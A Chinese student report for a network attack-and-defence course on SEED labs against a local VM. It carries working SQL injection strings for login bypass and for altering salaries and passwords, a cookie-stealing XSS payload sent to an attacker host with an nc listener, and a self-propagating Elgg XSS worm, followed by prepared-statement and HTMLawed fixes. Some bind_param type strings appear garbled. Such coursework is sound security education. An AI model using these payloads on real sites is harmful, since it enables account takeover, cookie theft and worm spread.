1. 程式人生 > 其它 >20212931 2021-2022-2 《網路攻防實踐》第十次實踐報告

20212931 2021-2022-2 《網路攻防實踐》第十次實踐報告

一、實踐內容

(一)基礎知識

1.Web應用程式體系結構及其安全威脅

  • Web應用體系結構
    • 定義:Web應用程式是一種使用瀏覽器在網際網路或企業內部網上進行訪問操作的應用軟體形態,也造就了B/S計算結構,提升了部署和應用的便捷性。web應用體系結構如下圖所示,瀏覽器主要完成資料顯示與展示渲染,伺服器主要完成業務計算處理,瀏覽器與伺服器之間的通訊通過因特網或內聯網上HTTP/HTTPS應用層協議的請求與應答進行通訊。
    • 瀏覽器:使用HTTP/HTTPS協議、HTML語言與Web伺服器進行互動,獲取資訊。
    • Web伺服器:不僅僅是一個HTTP守護程式,還有對各種Web動態程式語言的支援。
    • 資料庫:Web應用儲存資料的地方。
    • Web應用程式:負責伺服器端的業務邏輯處理,最為常見的三層體系結構:
    • 表示層:接受Web客戶端的輸入並顯示結果。
    • 業務邏輯層:從表示層接受輸入並完成某些工作,需要資料層的協作,再將結果送回表示層。
    • 資料層:以資料庫或本地檔案的形式,提供非易失的資訊儲存。
    • 傳輸協議HTTP/HTTPS:瀏覽器與Web站點之間的通訊傳輸協議使用HTTP/HTTPS協議,HTTP協議預設使用TCP 80埠,該協議採用統一資源識別符號URI對各種資源進行統一定義,採用請求/相應模式。SSL/TLS隧道技術,來實現加密傳輸的HTTPS協議。
  • Web應用安全威脅
    • 針對瀏覽器和終端使用者的Web瀏覽安全威脅:網頁木馬、網站釣魚等。
    • 針對傳輸層的網路協議安全威脅:針對HTTP明文傳輸協議的敏感資訊監聽、拒絕服務攻擊等。
    • 系統層安全威脅:Web站點的宿主作業系統。
    • Web伺服器軟體安全威脅:Web伺服器軟體也存在著漏洞與弱點。
    • Web資料安全威脅:Web站點中在Web應用程式後臺儲存的關鍵資料內容。

2.SQL注入攻擊

  • 程式碼注入攻擊定義:程式碼注入利用Web應用程式的輸入驗證不完善漏洞,使得Web應用程式執行由攻擊者所注入的惡意指令和程式碼。包括惡意讀取、修改與操縱資料庫的SQL注入攻擊;在Web伺服器端安裝、執行Webshaell等惡意指令碼的PHP注入或ASP注入攻擊;在Web伺服器端惡意執行作業系統命令的shell注入攻擊還有其他攻擊等。
  • SQL注入攻擊原理:利用Web應用程式的資料層存在的輸入驗證不完善性安全漏洞實施的程式碼注入攻擊技術。由於使用者輸入沒有被正確地過濾以消除SQL語言中的轉義字元,或沒有進行嚴格的型別判斷,使得使用者可以輸入並執行一些非預期的SQL指令程式碼。
  • SQL注入攻擊步驟
    • 發現SQL注入點:存在http://SITE/xxx.asp?some_rec=yyy的動態網頁時,當some_rec欄位為整形引數,通過不同的三種字串可判斷該動態頁面是否存在SQL注入點。同理也可以對字元型做,下面展示整型情況。

    yyy修改為yyy' 造成SQL出錯,動態頁面返回錯誤提示資訊。
    yyy修改為yyy and 1=1 不對查詢條件造成任何影響,返回正常頁面。
    yyy修改為yyy and 1=2 查詢不到任何資訊。

    • 判斷後臺數據庫型別

    利用資料庫伺服器的系統變數。
    利用資料庫伺服器的系統表進行判斷。

    • 利用SQL注入進行後臺口令拆解

    猜解後臺口令表表名。
    猜解欄位名。
    猜解欄位值: 二分法逼近。
    口令可能為MD5雜湊後的密文。

    • 上傳ASP後門,得到預設賬戶許可權:在破解得到Web應用管理員使用者名稱和口令後,通過找出後臺管理介面登入,攻擊者就可以通過後臺管理介面通常所提供的的下載上傳檔案等功能上傳ASP後門,對Web站點進行遠端控制。
    • 本地特權提升
    • 利用資料庫擴充套件儲存過程執行shell命令:通過SQL注入點執行相應的擴充套件儲存過程。
  • SQL注入攻擊工具:這是比較新的工具10個SQL注入工具。
    • 自動化SQL注入漏洞發現

    Wposion:能夠在動態Web文件中找出SQL注入漏洞的工具。
    mieliekoek.pl:以網站映象工具生成的輸出為輸入,找出含有表單頁面。

    • 自動化SQL注入測試

    SPIKE Proxy工具:允許使用者對待注入字串進行定製。
    SPI Toolkit工具包中的“SQL Injector”工具。

  • SQL注入攻擊防範措施
    • 使用型別安全(type-safe)的引數編碼機制。
    • 凡是來自外部的使用者輸入,必須進行完備檢查。
    • 將動態SQL語句替換為儲存過程、預編譯SQL或ADO命令物件。
    • 加強SQL資料庫伺服器的配置與連線。

3.XSS跨站指令碼攻擊

  • 定義:XSS跨站指令碼攻擊的最終目標不是提供服務的Web應用程式而是使用Web應用程式的使用者。XSS的漏洞存在於Web應用程式中,使得攻擊者可以在Web頁面中插入惡意程式碼(HTML或JavaScript)使用者在瀏覽網頁時,瀏覽器會解析這些插入的程式碼,造成獲取使用者敏感資訊、客戶端滲透攻擊等後果。
  • XSS攻擊技術原理:Web應用程式對使用者輸入內容的安全驗證與過濾不夠完善,使用者提交的內容可以包括HTML、JAVAScript及其他指令碼程式碼。例如在name變數填寫為alert(/xss/),這段客戶端程式碼將會被包含在留言瀏覽頁面中,其他使用者訪問時將會執行程式碼。
  • 型別永續性XSS漏洞、非永續性XSS
  • XSS攻擊防範措施
    • 伺服器端防範措施:“限制、拒絕、淨化”

    輸入驗證: 對使用者提交資料進行儘可能嚴格的驗證與過濾。
    輸出淨化: HTMLEncode()方法。
    消除危險的輸入點。

    • 客戶端防範措施

    提高瀏覽器訪問非受信網站時的安全等級。
    關閉Cookie功能,或設定Cookie只讀。
    建立安全意識和瀏覽習慣。

(二)實踐內容

1.SEED SQL注入攻擊與防禦實驗

  • 藉助已經建立了的Web應用程式(其託管在www.SEEDLabSQLInjection.com)。完成:
    • 熟悉SQL語句
    • 對SELECT語句的SQL注入攻擊
    • 對UPDATE語句的SQL注入攻擊
    • SQL對抗

2.SEED XSS跨站指令碼攻擊實驗(Elgg)

  • 在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。
    • 釋出惡意訊息,顯示警報視窗。
    • 彈窗顯示cookie資訊。
    • 竊取受害者的cookies。
    • 成為受害者的朋友。
    • 修改受害者的資訊。
    • 編寫XSS蠕蟲。
    • 對抗XSS攻擊。

二、實踐過程

實踐一:SEED SQL注入攻擊與防禦實驗

  • 熟悉SQL語句
    • 首先確定Apache服務是否正常啟動,sudo service apache2 start命令開啟apache服務,sudo service apache2 status命令檢視執行狀態
    • 登入指令:mysql -u root -p,密碼seedubuntu,其中-u指定使用者名稱,-p指定密碼
    • 使用庫命令:use Users;檢視資料庫下的表命令:show tables;
    • 列印所有資訊命令:select * from credential;
  • 對SELECT語句的SQL注入攻擊
    • 開啟網頁http://www.seedlabsqlinjection.com/index.html,輸入錯誤使用者名稱,檢視錯誤頁面的URL
    • 由此我們可以去查詢在/var/www/SQLInjection路徑下,其中有一個主頁unsafe_home.php,讀程式碼發現,存在sql注入攻擊漏洞:
    • 根據程式碼可知,登入時,會區分管理員賬戶和普通使用者賬戶,並且發現登入時的查詢語句為
      SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= '$input_name' and Password='$hashed_pwd';
    • 管理員的賬戶名是admin,使用字串admin '#進行登入,便可通過#註釋後面的語句使其無法執行。換句話說,只進行了使用者名稱的校驗。



    • 利用命令列完成管理員的登入,注意對幾個特殊符號進行轉義十六進位制即可,使用指令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
  • 對UPDATE語句的SQL注入攻擊
    • 首先要確定UPDATE語句的位置
    • 閱讀檔案程式碼後,發現其也是沒有保護的,這樣就可以構造類似於上文的語句進行攻擊
    • 使用alice '#登入,點選edit profile修改資訊,在NickName那裡輸入語句', salary='999666' where EID='10000';#



    • 修改其他人類似修改Alice:在Alice下,輸入', salary='0.1' where name='Boby';#(這資料還是個整形儲存)


    • 修改其他使用者的密碼,因為密碼在資料庫中是以sha1的形式儲存的,首先需要獲取一個指定密碼的sha1值。
    • 使用指令echo -n 'dees'|sha1sum輸出密碼dees的sha1值
    • 繼續在edit profile那裡修改使用者名稱,填上以下指令進行sha1值的修改', Password='(sha1值)' where Name='Boby';#
    • 攻擊成功


  • 修復漏洞
    • SQL注入漏洞的本質原因是由於執行語句和資料放在一起導致的,使用預處理語句機制可以很好的防止這一攻擊出現。
    • 原始碼主要含義是進行了資料庫的查詢,然後轉為了json格式,這裡的SELECT語句程式碼和資料放在一起,所以容易遭受攻擊。
    • 使用預處理程式碼,然後進行引數的繫結,綁定了使用者名稱和hash之後的密碼。又進行了結果的繫結,這個時候引數值就可以包含轉義字元和定界符了。
      $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= ? and Password= ?");
      $sql->bind_param("???", $input_uname, $hashed_pwd);
      $sql->execute();
      $sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
      $sql->fetch();
      $sql->close();
    • 如下所示


    • UPDATE語句程式碼對輸入的引數進行了繫結:
if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sql->bind_param("xxxxx",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("xxxx",$input_nickname,$input_email,$input_address,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }

實踐二:SEED XSS跨站指令碼攻擊實驗(Elgg)

  • 實驗環境
    • Web應用程式網站http://www.xsslabelgg.com,以及相關的資料夾/var/www/XSS/Elgg/,網站只可在虛擬機器內部訪問使用,可以檢視hosts檔案。Alice的賬戶為alice密碼aliceseed,Boby賬戶boby密碼seedboby,Admin賬戶名admin密碼seedelgg。
  • 釋出惡意訊息,顯示警報視窗
    • 利用alice的賬戶登入,編輯個人主頁Edit profile,在 Brief description中輸入:<script>alert('XSS');</script>程式碼並儲存。
    • 此時,任何訪問Alice主頁的使用者,包括自己,都會看到彈窗。
  • 彈窗顯示cookie資訊
    • 類似於報警視窗,程式碼為:<script> alert(document.cookie);</script>
  • 竊取受害者的cookies
    • 使用惡意的JavaScript插入一個標籤,其src屬性設定為攻擊者的機器來實現。當JavaScript插入img標籤時,瀏覽器嘗試從src欄位中的URL載入圖片,這導致HTTP GET請求傳送到攻擊者的機器。下面使用JavaScript將cookies傳送到攻擊者機器的5555埠,若攻擊者的TCP server偵聽同一個埠,伺服器則可打印出任何收到的內容。
    • 使用命令<script>document.write('<img src=http://ip+埠?c='+escape(document.cookie) + ' >');</script>
    • 使用nc進行監聽指定埠,使用指令nc -l 埠號 -v,-l指定埠,-v顯示詳細資訊。
  • 成為受害者的朋友
    • 首先需要通過HTTP Header Live檢視加朋友操作的資料發生什麼互動。請求方式為POST,請求的地址是http://www.xsslabelgg.com/action/friends/add。請求地址的第一個引數是friend=,請求地址的第二個引數是&__elgg_ts=,請求地址的第三個引數是&__elgg_token=也就是說我們要指明新增的好友,新增的時間並進行新增者的身份驗證。這是Elgg本身自帶的一套嚴格的表單驗證方法,通過才可以進行加朋友。
    • 構造下面的程式,其中的sendurl中包含了加朋友所需要的引數,程式碼獲取了elgg_ts和elgg_token,然後構造一個URL訪問,44為alice號。然後把這段程式放在alice的About me中(這裡注意要是edit HTML模式)。
<script type="text/javascript">
	window.onload = function () {
        var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>
    • 然後可以發現,alice自身和boby訪問時都完成了新增好友。
  • 修改受害者的資訊
    • 首先仍然利用HTTP Header Live看看修改資料時傳送的http請求的具體格式。
    • 下面就可以構造語句,放在about me中,實現攻擊。
    • 程式碼主體在於構造content,其中的幾個欄位都是profile中的內容,同時需要指定sendurl。程式中有一個判斷語句,就是使用者的guid和samyGuid的判斷,這個samyGuid在這裡就是alice的guid,避免了之前的無差別攻擊。
<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
  var content=token+ts+"name="+userName+"&description=<p>hello my friends~.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=44;    
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}

</script>
  • 編寫XSS蠕蟲
    • 蠕蟲攻擊程式碼
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>hello my firends~  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>
    • 程式碼使用DOM API的方法,文件物件模型,將Web頁面和指令碼或程式語言連線起來。使用DOM來檢視和使用HTML程式碼,innerHTML方法是開始和結束標籤之間的HTML。
    • 當有其他使用者訪問時,就可以被傳染,HTTP也能捕獲到其操作資料流。
  • 對抗XSS攻擊
    • Elgg本身已經提供對抗XSS攻擊的外掛,我們利用管理員賬戶進行登入,找到Account->administration->plugins,並且找到外掛HTMLawed ,這個外掛的主要作用是對使用者的輸入輸出進行校驗並且去除特定標籤。
    • 檢視Alice的profile,這個時候XSS攻擊已經沒有效果了,Alice中的程式碼被當作about me顯示出來了,也不會被執行。


三、學習中遇到的問題及解決

  • 對預處理SQL語句不熟悉以及對網頁上HTTP的操作及javascript程式有點難度
  • 解決方法:參照過往部落格,搞懂程式碼原理再使用。

四、學習感悟

  • 本次實踐動手操作了SQL注入和XSS攻擊,基本瞭解了這兩種攻擊的原理,操作步驟,可能造成的危害以及一般防範方式,對這種常見和比較普及的攻擊方式有了預警意識和初步認識,更重要的是增強了自己對知識盲區搜尋和學習的能力。